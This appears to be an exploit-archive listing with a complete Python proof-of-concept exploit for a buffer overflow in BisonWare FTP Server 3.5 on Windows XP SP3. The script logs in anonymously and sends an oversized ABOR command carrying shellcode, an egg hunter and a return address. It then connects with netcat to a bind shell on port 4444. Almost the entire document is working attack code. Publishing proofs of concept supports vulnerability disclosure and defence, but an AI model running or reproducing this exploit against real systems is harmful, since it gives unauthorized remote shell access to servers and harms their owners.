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BisonWare FTP Server 3.5 Buffer Overflow

BisonWare FTP Server 3.5 Buffer Overflow
Posted May 14, 2015
Authored by Bikash Dash

BisonWare FTP Server version 3.5 buffer overflow proof of concept exploit for Windows XP SP3.

tags | exploit, advisory, overflow, proof of concept
systems | windows, xp
MD5 | ec4659ff1a9d0d6b28187c539bb255aa

BisonWare FTP Server 3.5 Buffer Overflow

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#!/usr/bin/python
# Exploit Title: BisonWare FTP Server Version 3.5 Egg Hunting Exploits
# Date: 22 April,2015
# Exploit Author: Bikash Dash
# www.vulnerableghost.com
# Version: BisonWare FTP Server Version 3.5
# Tested on: Windows XP service pack3
# CVE : [N/A]
import socket, sys, os, time
print "\n================================ "
print " -----Vulnerable Gh0st------------ "
print " Bikash Dash(0xfb**) "
print " Bikash Dash, Chanchal Rastogi,manish Tanwar,Aditya Upadhaya "
print " www.vulnerableghost.com "
print "=================================\n"
if len(sys.argv) != 3:
print "[*] Usage: %s <target> <port> \n" % sys.argv[0]
sys.exit(0)
target = sys.argv[1] #User Passed Argument 1
port = int(sys.argv[2]) #User Passed Argument 2
shellcode = ("w00tw00t" + "\xbd\xa9\x85\x2d\x7f\xda\xd0\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x56\x31\x68\x13\x83\xc0\x04\x03\x68\xa6\x67\xd8\x83\x50\xee"
"\x23\x7c\xa0\x91\xaa\x99\x91\x83\xc9\xea\x83\x13\x99\xbf\x2f"
"\xdf\xcf\x2b\xa4\xad\xc7\x5c\x0d\x1b\x3e\x52\x8e\xad\xfe\x38"
"\x4c\xaf\x82\x42\x80\x0f\xba\x8c\xd5\x4e\xfb\xf1\x15\x02\x54"
"\x7d\x87\xb3\xd1\xc3\x1b\xb5\x35\x48\x23\xcd\x30\x8f\xd7\x67"
"\x3a\xc0\x47\xf3\x74\xf8\xec\x5b\xa5\xf9\x21\xb8\x99\xb0\x4e"
"\x0b\x69\x43\x86\x45\x92\x75\xe6\x0a\xad\xb9\xeb\x53\xe9\x7e"
"\x13\x26\x01\x7d\xae\x31\xd2\xff\x74\xb7\xc7\x58\xff\x6f\x2c"
"\x58\x2c\xe9\xa7\x56\x99\x7d\xef\x7a\x1c\x51\x9b\x87\x95\x54"
"\x4c\x0e\xed\x72\x48\x4a\xb6\x1b\xc9\x36\x19\x23\x09\x9e\xc6"
"\x81\x41\x0d\x13\xb3\x0b\x5a\xd0\x8e\xb3\x9a\x7e\x98\xc0\xa8"
"\x21\x32\x4f\x81\xaa\x9c\x88\xe6\x81\x59\x06\x19\x29\x9a\x0e"
"\xde\x7d\xca\x38\xf7\xfd\x81\xb8\xf8\x28\x05\xe9\x56\x82\xe6"
"\x59\x17\x72\x8f\xb3\x98\xad\xaf\xbb\x72\xd8\xf7\x75\xa6\x89"
"\x9f\x77\x58\x3c\x3c\xf1\xbe\x54\xac\x57\x68\xc0\x0e\x8c\xa1"
"\x77\x70\xe6\x9d\x20\xe6\xbe\xcb\xf6\x09\x3f\xde\x55\xa5\x97"
"\x89\x2d\xa5\x23\xab\x32\xe0\x03\xa2\x0b\x63\xd9\xda\xde\x15"
"\xde\xf6\x88\xb6\x4d\x9d\x48\xb0\x6d\x0a\x1f\x95\x40\x43\xf5"
"\x0b\xfa\xfd\xeb\xd1\x9a\xc6\xaf\x0d\x5f\xc8\x2e\xc3\xdb\xee"
"\x20\x1d\xe3\xaa\x14\xf1\xb2\x64\xc2\xb7\x6c\xc7\xbc\x61\xc2"
"\x81\x28\xf7\x28\x12\x2e\xf8\x64\xe4\xce\x49\xd1\xb1\xf1\x66"
"\xb5\x35\x8a\x9a\x25\xb9\x41\x1f\x55\xf0\xcb\x36\xfe\x5d\x9e"
"\x0a\x63\x5e\x75\x48\x9a\xdd\x7f\x31\x59\xfd\x0a\x34\x25\xb9"
"\xe7\x44\x36\x2c\x07\xfa\x37\x65") #Payload prefixed with w00tw00t tag
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") #32 bytes egg hunter NtDisplayString
buffer = "\x90"*(1063 - (len(shellcode)+len(egghunter))) #Align the stack
ebx = "\x71\x87\xA1\x7C" #JMP EBX 7CA18771from Shell32.dll
nopsled = "\x90"*205 #205 NOP Sled
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Connecting to %s on port %d" % (target,port)
try:
s.connect((target,port)) #Connect to BisonWare FTP Server
s.recv(1024) #Receive 1024 bytes from BisonWare FTP Server
time.sleep(3) #Wait for 3 seconds before executing next statement
print "[+] Sending payload"
s.recv(2000) #Receive 2000 bytes from BisonWare FTP Server
s.send('USER anonymous\r\n') #Send FTP command 'USER anonymous'
s.recv(2000) #Receive 2000 bytes from BisonWare FTP Server
s.send('PASS anonymous\r\n') #Send FTP command 'PASS anonymous'
s.recv(2000) #Receive 2000 bytes from BisonWare FTP Server
s.send('ABOR ' + shellcode + buffer + egghunter + ebx + nopsled +'\r\n') #Send FTP command 'ABOR '
s.close() #Close the socket
print "[+] Exploit Sent Successfully"
print "[+] Waiting for 5 sec before spawning shell to " + target + ":4444 \r"
print "\r"
time.sleep(5) #Wait for 5 seconds before connection to Bind Shell
os.system("nc -n " + target + " 4444") #Connect to Bind Shell using netcat
print "[-] Connection lost from " + target + ":4444 \r"
except:
print "[-] Could not connect to " + target + ":21\r"
sys.exit(0) #Exit the Exploit POC code execution
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